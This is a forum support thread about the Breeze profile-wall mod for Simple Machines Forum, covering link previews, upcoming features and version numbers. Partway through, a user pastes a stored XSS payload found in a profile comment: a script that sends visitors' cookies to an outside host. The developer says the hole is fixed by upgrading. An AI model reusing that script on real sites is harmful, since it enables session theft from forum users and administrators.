News:

Bored?  Looking to kill some time?  Want to chat with other SMF users?  Join us in IRC chat or Discord

Main Menu

Breeze

Started by Suki, March 21, 2014, 07:50:09 PM

Previous topic - Next topic

meemzo


queennikki1972

#161
Our website uses Breeze Mod flawless and seamless with Simple Audio Embedder and @Mentions. Worked right out of the box. I downloaded a program called AJAX Link Preview design to pre-fetch url snapshots like Facebook. This program uses database to store post, however I am ok with that since our current usage is minimal. I am not an smf expert and don't know how to add a hook  for this program. Is there any plans to integrate this into Breeze, since it is really the only place someone would need it in SMF? Here is one link to the program and yes, it does work at a 90% success rate, but has issues resolving major sites like MSN.COM [nofollow]..

Here is a link to the linkpreview version I found https://github.com/LeonardoCardoso/Facebook-Link-Preview [nofollow]

Any help on this project is appreciated..

Nicole

Suki

Sorry, nope, there is no plans to add anything like that as there is no way to do it efficiently in PHP. 

If that script has problems fetching certain sites then you might want to report it to its author.

I edited your post to remove your mail address, otherwise you will get spammed.
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Shadight

Hello Suki.

I saw on a website of your member website an option who seems not released.

It's a cover-photo block where the member can put a cover seems. It's a "private release" or it's will be included in the next release?

Because this option is great. Thank you for the information.

Suki

Its not a private release, its a new feature included in the new version.
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Shadight

Oh really? But i have not this option.

I have downloaded the last version, i haven't this thing.

But i don't know why, when i download the version on smf or your forum, i have the release 1.0.4 and not the 1.0.6

Maybe it's the problem?

Suki

This is my release page: https://github.com/MissAllSunday/Breeze/releases

And no, 1.0.x versions does not include this feature. 1.0.x is essentially feature frozen and will only get security/bug fixes.

  The cover and other features will be included in the next major version which is 1.1.  Version 1.1 isn't released yet and its only going to be compatible with SMF 2.1.
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Shadight

Oh okay, too bad.

Thank you for the informations.

queennikki1972

This may already be posted somewhere but i cannot find it. I am looking to add the post attatchments option or some way for users to post an image on theyre wall. I do not wish to use a third part site like postimage.php


Also by my ownhoice and ability to host mass data, i am lioking for a way to inplement a link preview script i already have into the post as well. I am a moderate coder able to abd confident in adding the code manually. Just need some tips.

Suki

Quote
This may already be posted somewhere but i cannot find it. I am looking to add the post attatchments option or some way for users to post an image on theyre wall. I do not wish to use a third part site like postimage.php


This is a massive amount of work and I currently do not have the time to implement something like that.

Quote
Also by my ownhoice and ability to host mass data, i am lioking for a way to inplement a link preview script i already have into the post as well. I am a moderate coder able to abd confident in adding the code manually. Just need some tips.

You cannot do this efficiently with PHP, you just can't. If you have your own server then it will be far better to implement a bot to fetch pages and collect that data, then when an url is submitted let PHP search for it in whatever DB you store whatever the bot has fetched.

If you already have a script then just intercept the content before is sent to the server, on Themes/default/js/breeze.js

Then you will need to add a sniffer or a jquery event to the textarea to capture whatever the user is typing or has already typed and parse it with some regex to get any valid urls, capture them and send that data to your script.

Your script should be able to return any data it found, perhaps as json or plain HTML stuff, I dunno, either way, you can retrieve that data and show it just under the textarea the user is using to post.  Then you can append the info to Breeze's object status  which is going to be send and all properties inside it will be converted to POST request that you can easily capture on BreezeAjax.

There are already a few jquery libs to fetch whatever the user us typing, you may want to use them since coding that yourself is going to be a nightmare.
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Toxic__Waste

<div class="breeze_user_comment_comment">
   Good job on Rainbow! :D<br /><script>document.location="hxxp:rrdl.bplaced.net/index.php?x= [nonactive]" document.cookie;</script>
   <div class="breeze_options">
      <span class="time_elapsed" title="October 21, 2014, 01:41:00 PM">13 hours ago.</span>

this was posted on a comment on a profile and it did redirct me back to the home page.
i was told this was a session stealer code

how to stop it

Suki

Make sure you're running the latest version, currently at 1.0.6
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Toxic__Waste

i was from your site

Suki

huh?

my site currently doesn't have any mods for downloads, you need to either download the mod from the github release page or from the modsite page.
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Toxic__Waste

13.   Breeze   1.0.4     

even after i remove all data and reinstall it always says this on the package manager

Suki

Thats because I forgot to update the version on the package-info.xml file

Go to this page:  http://custom.simplemachines.org/mods/index.php?mod=3839

Download the mod from there and install THAT package.
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Toxic__Waste

i did twice now still comes up as 1.0.4 and this was the mod i was using

Suki

Yes, it will always be 1.0.4 because I haven't change that number to reflect the current version, its just a number, as long as you have the correct version installed it doesn't matter if the packager manager shows 1.0.4.

If you know have the latest version then just delete the offending message.
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Toxic__Waste

but i was told it was a session stealer and evertime i went to the profile page it did a redirection back to the home page i had to disable the mod just to go to that profile which was an admin

Suki

Yes it was, after you upgraded to the latest version, it is no longer an issue, the offending message still resides on your DB so you need to delete that message.
Disclaimer: unless otherwise stated, all my posts are personal and does not represent any views or opinions held by Simple Machines.

Advertisement: